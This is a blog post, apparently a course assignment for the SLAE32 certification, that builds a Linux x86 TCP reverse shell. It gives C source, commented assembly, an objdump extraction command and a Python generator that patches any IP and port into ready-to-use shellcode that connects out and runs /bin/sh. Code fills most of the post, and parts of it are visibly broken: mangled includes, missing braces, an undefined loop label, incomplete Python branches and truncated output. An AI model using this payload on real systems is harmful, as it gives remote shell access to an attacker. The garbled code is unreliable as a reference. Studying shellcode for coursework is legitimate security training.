SLAE32 - Assignment 2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: PA-15072

All associated code can be found here:

TCP_Reverse Shell

  • Connects to configured IP and port
  • Execs shell on successful connection
  • IP and port should be 'easily' configurable
As with the TCP Bind shell from assignment one, I decided the best bet was to write out a reverse shell in C. There's a million resources out there, and the code I came up with is as follows:
/* C reverse shell for SLAE */                     

#include <unistd .h="">
#include <netinet in.h="">
#include <sys socket.h="">
#include <sys types.h="">
#define rhost ""
#define rport "4444"  
int main(int argc, char *argv[])                  
 int sock = socket(AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in sa;                    
 sa.sin_family = AF_INET;                  
 sa.sin_port = htons(rport);               
 inet_pton(AF_INET, rhost, &amp;sa.sin_addr.s_addr);
 connect(sock, (struct sockaddr *)&amp;sa, sizeof(struct sockaddr_in));
 dup2(sock, 0);
 dup2(sock, 1);
 dup2(sock, 2);
 execve("/bin/sh", 0, 0);
I was a little surprised at first, it seemed to me that a reverse shell would be more complicated than a bind shell, but the above code was smaller (not just due to my bad programming) but overall it just needs to do less:
  1. Create a socket
  2. Call connect()
  3. Create the file descriptors
  4. Call execve()
Without much optimization, this shellcode weighs in at 87 bytes, pretty good for a noob. It also doesn't contain any null bytes.
; TCP Reverse Shell
; For SLAE
; Howard McGreehan

global _start
section .text

        ; int socketcall(int call, unsigned long *args)
        ; socketcall is syscall 102, or 0x66
        ; socket = 0x1
        xor eax, eax
        xor ebx, ebx
        mov al, 0x66

        ; int socket(int domain, int type, int protocol)
        push ebx
        push 0x1
        push 0x2

        ; set up args for socketcall
        mov ecx, esp
        inc bl
        int 0x80

        ; save the file descriptor returned by socket()
        mov edi, eax
        ; int socketcall(int call, unsigned long *args)
        ; Again, 0x66 for socketcall
        mov al, 0x66

        ; increase ebx to get 2 for AF_INET
        inc ebx

        ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
        ; First, we need to create the sockaddr struct
        push 0x0101017f
        push word 0x5C11
        push word bx

        ; save the address of sockaddr
        mov esi, esp

        ; Now, let's push the addrlen (16)
        push 0x10

        ; Gotta push the sockaddr pointer now
        push esi

        ; Lastly, we need the socket file descriptor returned from
        push edi

        ; now, set up the right args for socketcall
        mov ecx, esp
        inc ebx
        int 0x80

        ; save the socketfd, zero and add two to ecx for dup2 loop
        xchg ebx, edi
        xor ecx, ecx
        mov cl, 0x2
        ; int dup2(int oldfd, int newfd)
        mov al, 63
        int 0x80
        dec ecx
        jns dup

        ; int execve(const char *pathname, char *const argv[], char *const envp[])
        ; Zero Out eax for first null (envp) and push to stack
        xor eax, eax
        push eax

        ; Now, push the string bin bash onto the stack for argv
        push 0x68736162
        push 0x2f6e6962
        push 0x2f2f2f2f

        ; Now, need filename
        ; EZ, pop into EBX
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        ; Now, set up syscall
        mov al, 0xb
        int 0x80
Objdump output:
$ objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Plugging that into shellcode.c works as expected. The next step is creating a wrapper script, similar to the python portGen from Task 1, in order to configure the port and IP at will. I took the code and modified it very slightly to add an additional method which converts a provided IP address into hexadecimal format. This is then plugged in to the same location the IP bytes normally go. Since IP addresses are defined with octets, each ranging from 0-255, we don't need to worry about size discrepancies at all.
#!/usr/bin/env python
import sys
import socket
import binascii

if len(sys.argv) < 3:
    print("[-] Provide a port (> 256) and IP address")
    if int(sys.argv[1]) <= 256:
        print("[-] Port needs to be greater than 256 to guarantee sockaddr struct size is accurate and avoid null bytes.\n")
        print("If you require a lower port, consider changing the instructions in connect from:")
        print("\tpush 0x0101017f\n\tpush word 0x5C11\n\tpush word bx\n")
        print("\txor ecx, ecx\n\tpush 0x0101017f\n\tsub esp, 2  ; stack alignment\n\tmov byte [esp], cl  ; null\n\tmov byte [esp], 0x65  ; port 100\n\tpush word 0x2\n")
    lport = int(sys.argv[1])
    ip = sys.argv[2]

def ip2Hex(ip):
        ipHex = ""
        for b in ip.split('.'):
                ipHex += "\\x%02x" % (int(b))
        return ipHex

def setPort(lport):
    p = hex(lport)[2:]
    psize = len(str(p))
    if psize == 1 or psize == 3:
        p = "0" + p
    psize = len(str(p))

    if psize == 2:
        fport = '\\x' + str(p)[0:2]
        fport = '\\x' + str(p)[0:2] + '\\x' + str(p)[2:4]

    if "\\x00" in fport:
        print("[!] Port conversion contains a null byte, I'm lazy, so choose another port maybe?")
        return fport

port = setPort(lport)
ipHex = ip2Hex(ip)

print("[+] Hex port: " + port)
print("[+] Hex ip: " + ipHex)

shellcode = ""
shellcode += "\\x31\\xc0\\x31\\xdb\\xb0\\x66\\x53\\x6a\\x01\\x6a"
shellcode += "\\x02\\x89\\xe1\\xfe\\xc3\\xcd\\x80\\x89\\xc7\\xb0"
shellcode += "\\x66\\x43\\x68"
shellcode += ipHex # IP
shellcode += "\\x66\\x68"
shellcode += port # PORT
shellcode += "\\x66\\x53\\x89\\xe6\\x6a\\x10\\x56\\x57\\x89"
shellcode += "\\xe1\\x43\\xcd\\x80\\x87\\xdf\\x31\\xc9\\xb1\\x02"
shellcode += "\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50"
shellcode += "\\x68\\x62\\x61\\x73\\x68\\x68\\x62\\x69\\x6e\\x2f"
shellcode += "\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x50\\x89\\xe2"
shellcode += "\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"

print("[+] Shellcode: \n" + shellcode)
Pretty slick!

Here's some sample output:
$ ./ 4444
[+] Hex port: \x11\x5c
[+] Hex ip: \x7f\x01\x01\x01
[+] Shellcode:
The tool properly encodes the values for IP and port, shoves them into the shellcode and returns it in \x notation.

That's it for assignment two.


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